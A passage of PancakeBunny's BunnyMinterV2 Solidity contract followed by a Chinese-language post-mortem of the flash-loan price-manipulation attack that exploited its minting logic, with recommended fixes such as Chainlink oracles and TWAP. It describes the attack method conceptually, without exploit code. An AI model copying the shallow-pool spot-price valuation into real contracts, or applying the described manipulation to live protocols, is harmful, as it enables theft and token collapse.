    function mintGov(uint amount) external override onlyOwner {
        if (amount == 0) return;
        _mint(amount, TIMELOCK);
    }

    /* ========== PRIVATE FUNCTIONS ========== */

    function _transferAsset(address asset, uint amount) private {
        if (asset == address(0)) {
            // case) transferred BNB
            require(msg.value >= amount);
        } else {
            IBEP20(asset).safeTransferFrom(msg.sender, address(this), amount);
        }
    }

    function _zapAssetsToBunnyBNB(address asset, uint amount, bool fromV2) private returns (uint bunnyBNBAmount) {
        uint _initBunnyBNBAmount = IBEP20(BUNNY_BNB).balanceOf(address(this));

        if (asset == address(0)) {
            zapBSC.zapIn{ value : amount }(BUNNY_BNB);
        }
        else if (keccak256(abi.encodePacked(IPancakePair(asset).symbol())) == keccak256("Cake-LP")) {
            IPancakeRouter02 router = fromV2 ? routerV2 : routerV1;

            if (IBEP20(asset).allowance(address(this), address(router)) == 0) {
                IBEP20(asset).safeApprove(address(router), uint(- 1));
            }

            IPancakePair pair = IPancakePair(asset);
            address token0 = pair.token0();
            address token1 = pair.token1();

            (uint amountToken0, uint amountToken1) = router.removeLiquidity(token0, token1, amount, 0, 0, address(this), block.timestamp);

            if (IBEP20(token0).allowance(address(this), address(zapBSC)) == 0) {
                IBEP20(token0).safeApprove(address(zapBSC), uint(- 1));
            }
            if (IBEP20(token1).allowance(address(this), address(zapBSC)) == 0) {
                IBEP20(token1).safeApprove(address(zapBSC), uint(- 1));
            }

            zapBSC.zapInToken(token0, amountToken0, BUNNY_BNB);
            zapBSC.zapInToken(token1, amountToken1, BUNNY_BNB);
        }
        else {
            if (IBEP20(asset).allowance(address(this), address(zapBSC)) == 0) {
                IBEP20(asset).safeApprove(address(zapBSC), uint(- 1));
            }

            zapBSC.zapInToken(asset, amount, BUNNY_BNB);
        }

        bunnyBNBAmount = IBEP20(BUNNY_BNB).balanceOf(address(this)).sub(_initBunnyBNBAmount);
    }

    function _mint(uint amount, address to) private {
        BEP20 tokenBUNNY = BEP20(BUNNY);

        tokenBUNNY.mint(amount);
        if (to != address(this)) {
            tokenBUNNY.transfer(to, amount);
        }

        uint bunnyForDev = amount.mul(15).div(100);
        tokenBUNNY.mint(bunnyForDev);
        IStakingRewards(BUNNY_POOL).stakeTo(bunnyForDev, DEPLOYER);
    }
}


bunnyMinterV2合约中,要铸造的BUNNY数量与 “valueInBNB “变量有关,该变量是通过priceCalculator.valueOfAsset(BUNNY_BNB, bunnyBNBAmount)函数计算得出的。

在函数valueOfAsset中,valueInBNB的计算方法是:valueInBNB = amount.mul(reserve0).mul(2).div(IPancakePair(asset).totalSupply())

“reserve0″是一个非常大的值,使 “valueInBNB “变得很大,所以它最终会增加铸造的BUNNY数量。

问题造成原因有2种,很多BSC DeFi项目无法从PancakeSwap V1过渡到V2,因为它们在合约中把PancakeSwap Router和池子的地址写死为V1的地址。bunny价格获取也正好是从这个 V1池子获取的。V1池子深度不够可被价格操纵,导致本次攻击额外铸造了很多代币,并且巨大量的代币进行砸盘导致该代币的价格从150美金跌到1美金。

如果有该代币有期权合约的话也可以放大100倍的做空使得利润更大化,随后黑客将剩余的代币转移混币网络进行了质押,无法追踪后续的交易记录了。

总结出来的话pancakebunny使用了深度不够的pancakeswap资金池的AMM价格来计算bunny的价格。

攻击者使用了闪电贷借款巨额资产,来操纵了 pancakeswap AMM资金池价格

pancakebunny没有做大资金压力测试,铸币功能原生逻辑上没有风控管理,导致大量代币铸造进行了通货膨胀。

防范方法: 引入多远的价格预言机,比如chainlink的多方喂价预言机,防止单一来源的价格。

这样的闪电贷攻击和恶意价格操纵必然不会是最后一次。同时也可使用时间加权平均价格(TWAP)来避免价格异常波动所带来的损失,以此防范黑客利用闪电贷攻击价格预言机。

通过pancakebunny的凯源代码看到,有多个平台也copy了其代码制作了仿盘,同类仿盘在该攻击发生后多次遭到攻击。

当前的DeFi领域中可比为当年狂野的西部,各路勇者涌入淘金,由于匿名性和去中心化,监管遇到了前所未有的挑战。DeFi领域需要更多的安全元素引入进来。我们相信新事物战胜旧事物,必须经历艰难曲折的斗争,难免有这样或那样的缺陷;相信未来加密世界的安全会得到更好的发展和重视。